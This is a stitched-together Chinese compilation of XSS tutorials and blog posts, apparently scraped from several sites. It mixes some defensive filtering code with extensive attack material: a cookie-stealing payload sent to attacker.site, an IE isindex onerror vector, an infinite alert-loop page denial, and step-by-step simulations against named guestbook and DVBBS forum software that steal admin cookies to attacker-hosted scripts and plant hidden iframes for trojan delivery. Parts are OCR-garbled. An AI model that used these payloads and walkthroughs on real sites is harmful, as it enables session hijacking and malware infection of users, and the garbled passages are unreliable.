如何解决跨站脚本攻击漏洞

14004人阅读
安全方面(10)
Cross-site scripting(CSS or XSS)跨站脚本不像其他攻击只包含两个部分:攻击者和web站点,跨站脚本包含三个部分:攻击者,客户和web站点。跨站脚本攻击的目的是窃取客户的cookies,或者其他可以证明用户身份的敏感信息。
一个get请求
GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0
www.vulnerable.site
会产生如下的结果
&Title&Welcome!&/Title&
Hi Joe Hacker
Welcome to our system
但是如果请求被篡改
GET /welcome.cgi?name=&script&alert(document.cookie)&/script& HTTP/1.0
Host:&www.vulnerable.site
就会得到如下的响应
&Title&Welcome!&/Title&
Hi &script&alert(document.cookie)&/script&
Welcome to our system
这样在客户端会有一段非法的脚本执行,这不具有破坏作用,但是如下的脚本就很危险了。
http://www.vulnerable.site/welcome.cgi?name=&script&window.open(“http://www.attacker.site/collect.cgi?cookie=”%2Bdocument.cookie)&/script&
响应如下:
&Title&Welcome!&/Title&
&script&window.open(“http://www.attacker.site/collect.cgi?cookie=”+document.cookie)&
Welcome to our system
浏览器回执行该脚本并将客户的cookie发到一个攻击者的网站,这样攻击者就得到了客户的cookie。
除了使用&script&这个脚本之外,还可以使用其他的&img src=”javascript:...”&,这样对于过滤
的站点有效。对于&input type=text name=user value=”...”&这样的输入,可以通过如下攻击
&input type=text name=user value=”“&&script&window.open(“http://www.attacker.site/collect.cgi?cookie=”+document.co
okie)&/script&”&
1,输入过滤:对每一个用户的输入或者请求首部,都要进行过滤。这需要程序员有良好的安全素养,而且需要覆盖到所有的输入源。而且还不能够阻止其他的一些问题,如错误页等。
final String filterPattern=&[&&{}\\[\\];\\&]&;
String inputStr = s.replaceAll(filterPattern,& &);
2,输出过滤
public static String encode(String data)
final StringBuffer buf = new StringBuffer();
final char[] chars = data.toCharArray();
for (int i = 0; i & chars. i++)
buf.append(&&#& + (int) chars[i]);
return buf.toString();
public static String decodeHex(final String data,
final String charEncoding)
if (data == null)
byte[] inBytes =&
inBytes = data.getBytes(charEncoding);
catch (UnsupportedEncodingException e)
//use default charset
inBytes = data.getBytes();
byte[] outBytes = new byte[inBytes.length];
for (int i = 0; i & inBytes. i++)
if (inBytes[i] == '%')
b1 = Character.digit((char) inBytes[++i], 16);
b2 = Character.digit((char) inBytes[++i], 16);
outBytes[j++] = (byte) (((b1 & 0xf) && 4) +
(b2 & 0xf));
outBytes[j++] = inBytes[i];
String encodedStr =
encodedStr = new String(outBytes, 0, j, charEncoding);
catch (UnsupportedEncodingException e)
encodedStr = new String(outBytes, 0, j);
return encodedS
&!-- Maps the 404 Not Found response code
to the error page /errPage404 --&
&error-page&
&error-code&404&/error-code&
&location&/errPage404&/location&
&/error-page&
&!-- Maps any thrown ServletExceptions
to the error page /errPageServ --&
&error-page&
&exception-type&javax.servlet.ServletException&/exception-type&
&location&/errPageServ&/location&
&/error-page&
&!-- Maps any other thrown exceptions
to a generic error page /errPageGeneric --&
&error-page&
&exception-type&java.lang.Throwable&/exception-type&
&location&/errPageGeneric&/location&
&/error-page&
任何的非servlet例外都被/errPageGeneric路径捕捉,这样就可以处理。
Throwable throwable = (Throwable)
request.getAttribute(&javax.servlet.error.exception&);
String status_code = ((Integer)
request.getAttribute(&javax.servlet.error.status_code&)).toString( );
3,安装三方的应用防火墙,可以拦截css攻击。
&&相关文章推荐
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场
访问:7191668次
积分:62678
积分:62678
排名:第33名
原创:251篇
转载:2629篇
评论:678条
(2)(46)(92)(17)(25)(37)(63)(7)(74)(67)(95)(177)(113)(86)(40)(43)(71)(14)(10)(17)(12)(6)(20)(27)(54)(71)(97)(74)(32)(2)(24)(21)(62)(60)(36)(23)(27)(46)(34)(76)(63)(121)(141)(74)(54)(120)(77)(42)(4)(12)(19)(1)(9)(15)(19)(18)(16)(31)(79)(68)打开微信“扫一扫”,打开网页后点击屏幕右上角分享按钮
跨站脚本攻击(Cross Site Scripting,简称XSS,亦翻为跨网站的入侵字串)又有新的攻击语法!此次触发恶意脚本不需要用到script 标签(譬如&script&alert(1)&/script&),也不用javascript 协定(譬如javascript:alert(1)),而是8 月26 日所揭露的
&isindex type=image src=1 onerror=alert(1)&
<isindex type=image src=1 onerror=alert(1)>
&isindex&是一个很早就有但普遍少用的标签,其功能与&form&、&input&、&textarea&,以及&select&类似,都可供使用者输入资料。onerror属性也是鲜为人知。
各家浏览器在实现HTML的支援度不尽相同,各国语系又对编码有所差异,这些都使得跨站脚本攻击(XSS)的攻击语法千变万化,也让骇客更能规避掉不少治标的防护机制,像是WAF解决方案,毕竟新的攻击手法就要新的规则(好加在我们家的WAF可以帮你生规则,请参考你期望的WAF是? XD),源码检测才是治本的作法阿,从Web应用程式端利用编码、过滤等方式让这些奇奇怪怪的攻击语法全部缴械!(请参考谈源码检测: CodeSecure的架构与技术) 我们在各个常见浏览器平台(Microsoft Internet Explorer、Mozilla Firefox、Opera,以及Google Chrome)的测试结果是,这个跨站脚本攻击(XSS)新攻击语法仅适用于IE系列的浏览器(含最新的IE8)。注:我们在下列示范中所采用的alert(1)字串可换成各种恶意脚本,而并非跨站脚本攻击(XSS)只能做到跳出一个视窗打招呼。
&isindex type=image src=1 onerror=alert(1)&
<isindex type=image src=1 onerror=alert(1)>
稍加调整甚至不需要定义src属性也可成功:
&isindex type=image onerror=alert(1) src=&攻击语法
<isindex type=image onerror=alert(1) src=>攻击语法
跨站脚本攻击(XSS)不亏是名列最新 OWASP Top 年OWASP十大Web资安漏洞)的榜首,「简单好用、防不胜防」!
简单来说,跨站脚本攻击(XSS)的基本精神就是骇客在HTML文件中安插网页脚本语言(譬如JavaScript或VBScript),让受骇方的浏览器在浏览网页时进而去执行。这延伸两个讨论议题:
1.为何骇客能够在HTML文件中安插这些脚本?
在Web 2.0的时代,大部分的网页或多或少都需要产生动态内容,都需要与使用者互动,一旦使用者所提供的资料(譬如恶意脚本字串)有机会成为动态输出的HTML内容的一部份时,这样恶意脚本就被成功地安插进原本合法无恶意的HTML文件了。这也是为何许多客户最后选择从源码检测着手,揪出这些进入点与输出点,治本地解决跨站脚本攻击(XSS)。
2.为何浏览器会去执行这些脚本?
浏览器只是如实地遵循W3C (World Wide Web Consortium)所制定的 HTML标准(目前最新版本为 HTML 4.01),正确地支援各语法标签应表现的样式与行为,因此当应该执行脚本时,就会执行这些脚本,尽管他们可能是恶意的,包括偷取Cookie、置换网页、转址、攻击其他网站等。
本文摘自网络由攻防研究室(www.91ri.org) 小组收集整理.转载本文请著名原文地址及原作者版权信息。用户名:wzhj132
文章数:106
评论数:104
访问量:102772
注册日期:
阅读量:1297
阅读量:3317
阅读量:452738
阅读量:1137187
[匿名]51cto游客:
[匿名]51cto游客:
51CTO推荐博文
接触跨站攻击一段时间了,有了一些认识,现在先按自己的理解理一下思路。后续有时间在针对里面详细的攻击方法做详解。
一.跨站脚本介绍
跨站脚本攻击(XSS)是一种攻击技术,是攻击者将恶意代码插入到回应给用户浏览器的代码中的一种实例。跨站脚本的几个特点:
受害者:跨站作用在客户端,而不是服务端,即受害者是客户端而不是服务器。
跨站类型:反射式;持久式;基于DOM式;其它式(包括嵌入FLASH,PDF等其它载体)。
1. 非持久型XSS漏洞一般存在于URL参数中,需要访问黑客构造好的特定URL才能触发漏洞。
2. 持久型XSS漏洞一般存在于富文本等交互功能,如发帖留言等,黑客使用的XSS内容经正常功能进入数据库持久保存。
3. DOM XSS漏洞,也分为持久和非持久型两种,多是通过javascript DOM接口获取地址栏、referer或编码指定HTML标签内容造成。
4. FLASH,PDF等其他第三方文件所造成的特殊XSS漏洞,同样按应用功能也分为持久和非持久型。
对跨站三种类型的理解:客户端执行了 客户端提交给服务端,服务端返回的恶意代码。
反射型:服务端提取用户的输入,未做严格过滤,直接返回给客户端,客户端浏览器执行了代码。
1)对数据未做严格净化返回给客户端。
2)实现攻击需要点击攻击者构造的链接,每次点击完成一次攻击,因为不能保存。
1)对数据未做严格净化返回给客户端,客户端执行了恶意代码。
2)攻击者构造链接完成攻击,受害者点击正常的链接,就会受影响。因为代码已经被保存。
1)对数据未做严格净化返回给客户端,客户端执行了恶意代码。
2)服务端返回给客户端的是同样的代码(js代码),在客户执行的时候才出问题,在服务端的响应中是没有恶意代码的。DOM型可以是反射型或者存储型,在于js代码是否存储输入的值。
几个区别:
反射式和存储式的区别:
1)服务端对数据的处理方式:一个是保存后返回,一个是直接返回。
2)出现的触发点不一样:反射一般出现在返回错误信息等,而存储一般
出现在填写表单等。(本质是第一个的原因,看哪些情况是要保存数据的,哪些情况是不保存数据的)
3)是否是一次性的,反射是一次性,每次都要点。 存储不是。(本质也是第一个原因,因为存储保存了代码)。
所以综上,区别其实就一个,就是服务端有没有保存数据,其他就是根据特点得出的。
DOM式和上面的两个的区别:
DOM是因为服务端处理数据用的是js代码,不会对数据进行处理
而是到达浏览器后才处理的,所以在响应代码中是没有恶意代码的。它也可以是保存或者反射,在于js代码中有没有保存输入的值。
二.CST、CFS、CSRF
CST攻击是一种使用XSS和HTTP TRACE功能来进行攻击的方式。它是一种攻击技巧,可以利用它避开HttpOnly对cookie提供的保护,使之能够通过客户端JavaScript获取已经标记为HttpOnly的cookie值。
正常情况下,客户端脚本(如JS脚本)是可以通过document.cookie函数获得,这样如果有XSS跨站漏洞,cookie很容易被盗取。浏览器有一个安全策略,通过设置cookie的httponly属性,这样客户端脚本就不能通过document.cookie访问该cookie,即时有跨站漏洞,也不能盗取用户cookie。(注意:httponly属性对正常的HTTP请求并没有影响,即时Cookie设置了HTTPONLY属性,当用户浏览有效域中的站点时候,这个Cookie仍然被自动发送,只是不能使用脚本来访问该Cookie。(解释HTTPONLY)
一般客户端向服务器请求是利用HTTP GET和POST方式,但那只是常见,还有其它方式(详细参考RFC2616文档)。其中HTTP TRACE也是一种方式,这种向服务端请求信息主要用于调试web服务器连接用。如果请求有效,则在响应中会在实体中包含整个请求消息。(解释HTTP TRACE)
与XSS联系和区别:
联系:CST是XSS的一种子类,也属于XSS跨站漏洞。
区别:浏览器请求的方式不一样,普通的XSS一般通过GET和POST方式在页面上输入攻击脚本实现,但是CST如果要在页面上输入,需要找到会通过TRACE发送的输入点,一般是自己构造攻击报文在TRACE方法中进行发送。
测试相关:
由于普通的XSS攻击报文可以通过GET或者POST被提交,而CST则要通过TRACE来提交,由于比较少用,目前还未搜索到有页面输入框可以使用TRACE提交的。因此对它的测试需要注意,攻击脚本中需要自己提供发送函数,比如使用XMLHttpRequest发送请求(当然普通的XSS攻击也需要覆盖用XMLHTTPRequest发送GET、POST请求)。
测试总结:对CST的测试只需要将普通XSS的攻击特征脚本放在HTTP的TRACE位置发送出去就可以。
在浏览器的安全机制中,客户端脚本是不能访问不同服务器或域名的页面相关信息。而通过HTML的frame/iframe可以在页面中包含第三方服务器的页面,这样攻击者可以利用主页面的脚本程序获取到frame/iframe包含的第三方服务器的信息。
同源策略:客户端脚本是不能访问不同服务器或域名的页面相关信息,但是也有例外,可以通过设置document.domain解决,在两个不同域名的客户端脚本都设置document.domain为同个父域。(注意:两个域是要拥有同个父域这个方法才有效果),然后在主页面加载FRAME/IFRAME页面实现,主页就可以调用框架内的页面的元素。
与XSS的联系和区别:
联系:CFS是XSS的一种攻击子类,也属于XSS跨站漏洞。
区别:CFS主要利用HTML中的FRAME/IFRAME来实现跨站攻击。将他单独出来,主要是由于他攻击后效果不同,有一些特殊的场景。
测试相关:
CFS的测试和XSS的测试一样,被包含在XSS测试中,是它的一个子集,特征为frame和iframe关键字。如果针对性测试,就是对frame和iframe进行各种编码。
CSRF:cross site request forgery,跨站请求伪造。是一种将受害用户欺骗到包含有恶意HTTP请求的页面的攻击方式,这种攻击方式的危害性在于它继承了受害用户的实体身份和权限,即盗用了受害人的身份以其的名义进行非法的操作,比如篡改用户资料、用户密码、以及购买物品等。通俗的说,CSRF攻击是在受害者毫不知情的情况下以受害者名义伪造请求发送给受攻击站点,从而在未授权的情况下执行受害者权限保护之下的操作。
CSRF(XSRF)的本质:服务端对客户端的COOKIE校验不严格,导致被攻击者盗用。
1)情况一:站点B和站点A是不同站点,站点B中的请求代码URL没有包含脚本,而是正常的请求情况,只是利用了浏览器而浏览器不知道而已。这个时候用户点击恶意网站B发送给站点A的报文 和 用户真实发送给站点A的报文只有在referer字段有所区别。Referer字段会显示发送的起始域,也就是站点B。
2)情况二:站点B和站点A重合,这个时候利用站点B的存储XSS漏洞使得用户发送请求给站点A的其它页面。
3)情况三:站点B和站点A是不同站点,但是站点B中的请求的代码含有JS代码来实现相应功能。同时站点A有XSS漏洞,会使得传给站点A的代码返回到客户端执行。
以上三种情况仅情况二是比较特殊的,测试时候需要构造referer字段与用户登录的时候域不一样的域名,其它两种同XSS攻击无区别。
与XSS的联系和区别:
联系:CSRF可以利用XSS实现更有用的攻击(经常也这么用)。上述情
二和情况三就是利用XSS漏洞的情况。
区别:CSRF不是XSS的子类,他们的本质问题不一样。XSS本质是服务端对输入过滤不严而后输出的时候将客户端的脚本再输出。CSRF是服务端对用户的身份认证不严格(cookie等),使得攻击者冒充用户达到攻击目的。
测试相关:
对于CSRF测试,两个方面测试:
1)包括XSS测试,同XSS测试,重点在于请求方法。主要有两种:XMLHTTPRequest和带有SRC属性的标签(frame、iframe、img、input)等。
2)测试Referer域的URL是其它地址,非请求的本URL地址。
三. 跨站攻击整个学习思路:
& & &跨站本质--&跨站类型分析--&有效载荷内容(就是能完成什么攻击,攻击效果上)--&载荷传送方式--》检测漏洞方式&
CST和CFS都是在有效载荷内容上的区别。
CSRF本质跟XSS不一样,经常是利用XSS漏洞的功能完成载荷更复杂的功能,达到更好的攻击效果。
本文出自 “” 博客,请务必保留此出处
了这篇文章
类别:┆阅读(0)┆评论(0)在很多情况下,xss是一种主要的应用程序安全缺陷,常与其他漏洞一起造成破坏性的后果。有时,xss攻击也可能转变成一种病毒或能够自我繁殖的蠕虫,这种攻击确实很严重。
渗透测试员应始终从不同的角度审视xss漏洞,认真分析它们出现的情境,并与其他针对Web应用程序和其他计算机系统的可怕攻击联系起来,找到解决方法。
xss产生根源和触发条件
跨站点脚本(xss)是针对其他用户的重量级攻击。从某种程度上说,xss是在Web应用程序中发现的最为普遍的漏洞,困扰着现在绝大多数的应用程序,包括因特网上注重安全的应用程序,如电子银行使用的应用程序。xss攻击产生的根源,究其实质来说,其原理就是在HTML中注入脚本,让原本正常的脚本反馈给用户非正常信息。
一般情况下,通过伪造URL连接的方式,跨站攻击配合伪造邮件一起,构造特定信息的邮件或通知,让潜在被攻击者以为这是银行或其他机构发来的信件,取得信任后就通过邮件中的连接,进入表面上看起来和正常站点一样的页面,然后输入自己的账户密码,随即这些账户密码就被攻击者盗用了。xss钓鱼攻击的攻击模型9-1。
目前xss挂马是应用比较广泛的一种跨站脚本攻击,就危害而言,这种攻击方式比传统盗用用户权限的攻击方式拥有更强的危害性。xss挂马一般出现在游戏类的站点上,攻击者往往会在一个免费空间上传自己配置好的IE漏洞程序,再放置好想让用户运行的后门木马,最后到被跨站攻击的站点上构造贞面,使用各种方法让正常用户大量地访问构造好的页面,从而实现批量挂马、批量抓肉鸡的目的。其典型的xss挂马攻击模型9-2。
同盗取管理员的Cookies一样,有时候针对某些付费浏览的Web站点,如早几年的电影站、手机铃声下载站等,攻击者也会利用未付费的账户,通过寻找跨站漏洞,提交盗取用,,的Cookies的,实现批量盗用付费用户Cookies的方法,越权访问付费信息。典型的盗用用户权限的跨站脚本攻击模型9-3。提权攻击方式有一个前提条件,就是
一定需要有高级用户的存在,或者管理员的存在,而且一般这样的攻击都应用在论坛、社区等一些人员流动密集、用户黏性比较好的地方,因为只有在这些地方攻击者才能构造让众人关注的帖子、内容,以达到北管理员访问的目的。其xsS提权攻击的模拟9-4。
xss作为一种即将占领Web2.0的主流攻击手段,当然不止上面所讲述的这些危害,上面只是选择了比较典型的危害加以说明,随着Web2.0的发展,更多的xss攻击肯定会出现。利用xss发起拒绝服务的攻击模型9-5。
跨站漏洞的利用
攻击有可以利用跨站脚本漏洞得到浏览该网页用户的Cookie,使其在不知不觉中访问木马网页,且可以让网页无法正常访问。
在网页中插入死循环语句是一种恶意攻击手法。写一段条件永远为真的循环语句,让页面执行到这段时一商执行这段而不能继续显示后面的内容,从而使网页不能正常地显示,陷入死循环状态。更有甚者。在死循环语句中加入弹出对话框的,从而使浏览者的浏览器不停地弹出对话框。始终无法关闭,必须结束浏览器进程才行。
下面以存在跨站脚本漏洞的“迷你留言本”系统为例,介绍在网页中插入死循环语句攻击网站的办法。具体的操作步骤如下。
从网上下载“迷你留言本”的压缩包后直接解压,在IIS服务器中打开“index.asp”主页,单击“发表留言”链接按钮,进入“发表留言”页面,在留言内容中写入“;scriptwhile(true)alert(’呜~您的死期到了…’);/sc ript”,9-6。
单击“提交”按钮,冉访问index.asp页面,即可弹出“Microsofi Internet Explorer”对话框,在其中提示相应的留言信息,9-7。
单击“确定”按钮,弹出“Microsoft Internet Explorer”对话框,如此反复,只有结束IE的进程才能停止。相信无论是谁遇到这种问题后短时间内都不会再访问这个网站了,这对于网站来说无疑足—个巨大的损失。
(2)隐藏访问
隐藏访问指使用户在访问一个网页时,不知不觉地访问了另外一个网页。这样做,可以用来增加其他网站的访问量,也可以用来放置网页木马进行网络“钓鱼”。
要让用户访问页面的方法很多,如插入如下可以直接从当前网页跳转到目标页面:
但这样直接跳转过去的隐蔽性不高,明眼人一看就知道有问题。所以更多的人选择的是用隐藏访问的方法来达到目的。实现隐藏访问有两种方法:
①让页面弹出,个高度和宽度都为o,且坐标在屏幕范围之外的新页面来打开网页。
其显示如下:
这种方法在弹出一个窗口后,虽然用户看不到,但在任务栏中还会出现这个窗口的标题按钮。不过攻击者可以加入让木马网页自动关闭,这样留意任务栏的人不多。而且木马网页的标题一闪而过,刚开完马上就被关闭了,也不会有太多人去在意它。
②在页面中插入一个高度和宽度都为0的框架
其内容是攻击者想要用户访问的网页地址,这样既不会弹出一个新的窗口,页面看起来也与没有插入的一样,隐蔽性十分高。插入框架为:;iframe SfC-“目标网页”)H,/iframe具体的操作步骤如下。
用一幅图片测试效果,只需在“发表留占”页面的留言内容中写入“;iframesrc -”http:*******,i frame”,918。
单击“提交”按钮,再访问index.asp页面,即可看到9-9效果。在网页里成功地插入了一个框架,并把图片也显示了出来。
把框架的高度和宽度都设置为o,查看框架是否被隐藏。在“发表留言”页面留言内容中写入“;iframe src=“/”,9-10。
为了和前面的留言进行区别,这次的昵称改为“框架Test2”,9-11。大家会发现,此时框架已经被彻底地隐藏起来了,在页面中已经看不到了。
但有些人会说,也有可能是没有被执行起来,所以才会看不到的。没错,这也是有可能的,下面通过一个实验验证以下。
使用记事本先来编写一个test.html文件,将其放在迷你留言本网站的根目录作为木马网页,其功能只是弹出一个对话框说明已隐藏访问木马页面而已,其如下:
再来发布一个跨站留言,让用户隐藏访问test.html,留言的内容为如下:;iframe src-”http://*******/迷你留言本ttest.html”width=”0”height”0’’(,iframe
在实际利用漏洞时,攻击者会把木马页面放在自己的网站空间中。上述使用完整的路径表示木马页面地址,为模拟得真实一些,这里使用test.html的完整路径http朋ocalhost/迷你留言本Aest.html。为以示区别,后面都用localhost来表示攻击者的网站,用127.0,0.1表示漏洞网站。具体的操作步骤如下。
在“发表留言”页面里的留言内容中写入“;iframe SfC-”hrcp://localhost,迷你留言本/test.html”width—”0”heigh”0”》《iframe”,9-12。
单击“提交”按钮,再访问留言主页index.asp,页面中即可弹出预料中“MicrosofiIntemet Explorer”对话框,9-13。
上述操作证明页面中被成功攻击了,用户已经访问了木马页面。这个对话框是专门为了证明漏洞而加上去的,如果没有加这句,网页浏览者就不知道已经访问了木马页面,在不知不觉间木马就被下载到浏览者的电脑上运行了,这无疑是件非常可怕的。
(3)获取浏览者Cookie信息
一般论坛和留言本为了节省服务器的资源,通常都把用户的登录信息保存在用户计算机的Cookie中,通过一些特殊的可以把用户的Cookie提取,再配台隐藏访问的方法可以将其发送给攻击者。其具体的操作步骤如下。
由于插入到页面的会被程序认为是网站自身的,在中可直接取得用户在本网站的Cookie,取得Cookie为:“;SCfiptl document.(/script”。
在“发表留言”页面里的留言内容中写入“;scripl alert(document.cookie);;/scrj p伊”,9-14。
单击“提交”按钮,再访问留言主页index.asp,即可弹出“Microsofi InternetExplorer”对话框,提示浏览者在本站的Cookie内容,9-15。
从利用过程中可以看出跨站漏洞的危害很大,攻击者可以通过一些方法取得浏览者的Cookie,从而得到所需的敏感信息。
xss攻击案例模拟
xss攻击是指入侵者在远程Web页面的HTML中插入具有恶意目的的数据,使得用户认为该页面是可信赖的,但当浏览器下载该页面,嵌入其中的脚本将被解释执行。正是这种被称为“鸡尾洒钓鱼术”手段,使商务网站的可信度大大降低。因为用户访问的是真正的商务站点,即使使再细心也很难想到真实网站也会暗藏杀机。
盗用用户权限攻击案例模拟
在盗用用户权限攻击案例中,将以逍遥留言本为例子进行xss攻击的讲解,该留言本的界面清新、体积很小、不多、功能实用,适台用来分析。
1、分析确定存在xss隐患
先从网上下载这个程序,分析它的,查看存在的问题。利用Dreamweaver打开book_write.asp页面后,查找留言部分的字段构造语句,其显示如下:
通过该段可以看到对各个值进行了详细的长度定义,UserName对应留言用户的姓名最大值是16;UserMail对应留言用户的邮箱最大值是50; url对应留言用户的网站最大值是100; qq对应留言用户的其他联系信息最大值是50; comments对应留言用户的留言内容,默认情况下没有限制。因为攻击者在发起跨站脚本攻击时,必须利用提示框插入需要的进行构造,如果限定的参数值比较短,那攻击者足无法正常构造的。
在得到这些数据后,并不能直接开始构造,而是需要对各个值的详细定义有一定的了解,因为很多值在放入数据库之前,都有详细的格式规范,如果不符合格式,系统将提示错误。所以攻击者要继续分析,找到既没有限制,又能使用较长的字符输入的值。再返回到book_write.asp的验证留言部分,分析如下:
该段是对留言部分的基本判断,将对username进行判断,很明显有过滤,其过滤9-16。
当管理员设置“邮箱必填”功能时检查邮箱填写是否合格,查看9-17部分:
在检查邮箱地址的内容填写时,如果要检查是否其有“@”标记,需在book_write.asp页面中查看9-18部分。
在对留言内容的长度进行判断时,“&maxlength&”代表管理员在管理后台中定义的长度。就判断留言长度的语句9-19。
9-20的这段是对脏话和非法语句的过滤,同样是管理员设置以后,从数据库中调用的,其调用语句的具体内容9-21。
从上述这个过滤情况和各字段定义来看,适合攻击者使用的值也就是“网站”一项了。
2、非分析确定存在xss缺陷
作为一种逐渐走向成熟的攻击方式,跨站脚本攻击当然可以直接测试是否存在漏洞的。下面介绍模拟攻击者的操作过程。具体操作步骤如下。
逍遥留言本的安装很简单,从网上下载逍遥留言本的压缩包后直接解压到IIs的目录中就可以使用了,正常运行本程序后的主界面9-22。
打开网站后台登录界面“book_admin.asp”,在“用户名”和“密码”文本框中输入管理员的账户和密码,9-23。
单击“管理登录”按钮,即可成功登录后台,通过管理后台可以定义是否允许用户的html,9-24。
单击“管理选项”按钮进入“管理选项”页面,取消勾选“屏蔽html功能”选项,表明允许用户留言中的HTML执行;再勾选“留言审核开关”右侧的“否”单选项,表明留言是否需要管理员审核才能被别的用户看到。经过设置后的后台界面9-25。
打开留言本主界面,单击“发表留言”按钮,即可进入详细信息页面,在这里攻击者可以构造各种功能的发起xss攻击,9-26。
如果已经对留言部分进行分析的攻击者,可以直接判断在什么字段位置提交跨站攻击可以生效。如果没有分析攻击者,可使用典型的跨站攻击。一个个尝试,其典型为“;scrippalert(‘xss’)(,scripp”。这里的测试实际上就是对长度的测试,因为要发起跨站脚本攻击,必须要保证插入的能够完整地运行。经过测试,除姓名栏,其他地方在长度上都满足插入的长度,但因为中除了长度限制外还有格式限制,所以最后选择的测试值是“您的网站”,9-27。
待所有地方都填上跨站攻击测试后,单击“提交留言”按钮返回首页,即可弹出“Microsofi Intemet Explorer”消息框,提示插入的“xss”内容,9·28。
由此可知,此系统存在xss问题,攻击者可以通过构造实现跨站脚本的攻击。
3、利用xss实现盗取Cookies案例模拟
返回到管理后台,将“屏蔽hunl功能”和“留言审核开关”回复到原始状态,现在的留言本将拒绝执行用户留言内容中的html,并且所有留言在管理员没有审核的情况下,都不会显示出来。也就是说,一般网络上正常的留言本程序都是这样设置的。
利用xss盗取管理员Cookies。根据不同的脚本系统和条件,攻击者可能会选择不同的盗取Cookies的技术,有的攻击者喜欢使用Js,有的攻击者喜欢直接盗取。使用Js的攻击者会把如下保存为cookies.asp文件,再上传到被正常访问的网络空间,具体内容如下:
假设攻击者上传文件地址为http:,/l2,7 .O.O.l/cookies.asp,新建一个文件,将如下内容复制进去,保存为cookies.js文件:document.fo rms [O] .action='http=//*******。同样,将下面的cookiesjjs上传到和cookies.asp -样的目录。待基本环境构造好之后,攻击者只要将存在跨站漏洞的网站上写入如下:
sc ript src=http://*******
当网站的管理员或会员浏览这个页面时,他的Cookies信息就会保存到攻击者的空间只要打开http://*******就能查看到窃取的Cookles信息了。此外,还有一种方法要更加直接一些,攻击者直接将如下保存为Cookies.asp即可。其具体内容如下:
该段与上述类似,但使用不同的调用方式,可不用Js文件实现盗取。假设文件地址是:http://127.O.O.l/cookies.asp,攻击者只需在存在跨站脚本攻击的地方提交如下:
当管理员访问后,也将在此目录下产生cookies.txt文件。其实这两种方式没什么特别的区别,根据情况选用即可。下面的案例模拟中采用第一种方法。
选在攻击者可控的空间内放置好上面的cookies.asp文件,这个空间最简单的方法是使用免费空间。由于这里是本地测试,可以:随接将文件放置在网站的根目录下。放置好文件以后,为了诱使管理员在后台审核的时候能够相信这是一个正常的留言,攻击者通常会伪造一些信息以达到迷惑管理员的目的,经过伪造后填写的信息9-29。
攻击者为了使管理员认为这是一个正常的留言而进行单击,在“您的姓名”、“您的邮箱”、“其他联系方式”、“留言内容”中都填写了相应内容,只是在“您的网站”中插入了xss:;scrippdoc ument.location -'http:******* ;script。单击“提交留言”按钮后,攻击者将会等待管理员审核。
当管理员登录后台,对现有的留言进行审核的时候,看到的将是一条完全正常的新留言,根本没有特别的地方,9—30.。管理员直接单击即可看到里面的内容了。页面将直接触发构造的xss语句攻击,也就是攻击者上传到其他空间中的盗取Cookies程序开始发挥作用,管理员的Cookies已经被发送到空间中了。攻击者使用空间的URL访问专门保存盗取Cookies的Cookies.txt文件,即可看到9-31的信息。
xss挂马攻击案例模拟拟
所谓挂马就是攻击者利用浏览器等漏洞制作成网页术马后,在被自己入侵的网站页面中隐蔽地嵌入网页木马的地址,让访问此网站的用户在没有察觉的情况下访问网页木马,触发网页木马中的漏洞。
从技术实现来说,挂马一般都是利用浏览器漏洞触发,然后编写成桐关的漏洞利用页面或者,放置在攻击者的网络空间里。这些网页木马大多和系统木马后门一起配套使用,当用户访问触发漏洞之后,攻击者预先定义好的木马后门就会被用户系统悄悄下载并运行,让用户在不知情的情况下,成为攻击者控制的傀儡计算机。
1、XSS中的挂马
与xss盗取Cookies不同的是,如果发起挂马攻击,攻击者需使用如下xss攻击:
该语句足指在页面中嵌套—个窗口,并存该窗口中引用httpt//*******页面进行显示,而该页面就是攻击者提前构造好的网页术马地址。
以百度( www.*******.com)为例,用户在本地一个空白记事本中输入以上,并将其保存为xss.html文件,9-32。直接运行该页面后即可看到9-33结果。
由上图可以看到页面中出现了一个框体,就是百度页面内容。当然,在攻击者发起攻击的时候,如果直接使用上面的,在成功进行xss攻击之后,原来正常的页面中会出现一个非常明显的窗口,这显然不够隐蔽,于是攻击者会修改上面的,构造如下:
该句意思是引用//*******,但这个页面在显示时宽和高都足O,直接的结果就是用户根本无法用肉眼发现这个页面被调用了。下面仍然以百度为例,在刚刚测试的本地页面中增加一句:;iframe src=bttp://www.*******.com/ width=”0”height=”0”;/iframe将其保存为跨站.html页面,直接运行该页面即可看到9-34效果。
由上可以看到,页面中只有一个框体,但实际上却调用了两次百度的页面。
2、×ss缺陷分析
介绍完基本的语句和方法后,下面模拟攻击者进行一次完整的xss挂马攻击,使用的系统是DvBBS8。动网8是现在使用非常多的一个脚本论坛,这个论坛经过几年的风雨,普通的脚本安全问题几乎都被它完善地修补了,因为xss攻击目前还属于比较新的技术,关注的攻击者相对比较高端,所以这个版本动网并没有在xss防御上下大工夫,存在不少的跨站脚本攻击。打开savepost.asp文件,其源如下:
该段头文件调用,动网因为系统庞大、功能繁多,所以系统中有非常多的页面,也定义了大量函数,逐一排查需要大量时间,而此文件中正好又有非常多的其他功能的,所以省略了大部分的时间。利用DreamWeaver打开存在问题的部分,9-35。
这里就是出现问题的地方,继续跟踪直到出现以下的:
从上面中可以看出,变量vote使用了Checkstr()函数进行过滤,过滤完后写进数据库中。再查找Cbeckstr()函数,其源显示如下:
从该段可以看出,Checkstr()只过滤了变量Vote的单引号“,”、“%oo”和“丨攻击者只要使用双引号“””来代替单引号“’’’就可以进行跨站攻击了。
3、xss挂马攻击过程模拟
下面以动网DVBBS论坛为例模拟攻击者进行挂码攻击的详细操作。
从网上下载动网DVBBS论坛源并在IIS中进行配置,冉打开论坛的主页“index.asp”,9-36。注册一个低权限的用户,随便进入一个版块,单击页面上的“发起投票”按钮,发投票贴,9-37。
在“发起投票”页面中添加投票项目,在“投票项日”文本框中添加经典的跨站脚本攻击:;scripPalert(’xss’);script,填写的地方是“投票项目”,其他地方攻击者一般会伪造成正常的信息,9-38。
在伪装完成后,发布投票贴。此时,攻击者发布的投票贴中已经包含xss。
只要用户访问了这个帖子,都将实现xss攻击。为了测试效果,退出当前用户的登录,然后使用管理员账户登录,访问这个投票贴,9-39。标准的xss框弹出,说明攻击者构造的跨站攻击脚本成功。
下面的步骤就是攻击者分析页而中过滤的类型,插入典型的挂马xss:
攻击者也可以利用此漏洞盗取管理员Cookies,再进行Cookies欺骗攻击。
xss提权攻击案例模拟
提权不管在什么地方,含义只有一个:通过某种技术,实现以低级权限获得高级权限的过程,就叫提权。具体来说,就是如何通过xss技术,获得脚本系统的管理员权限。
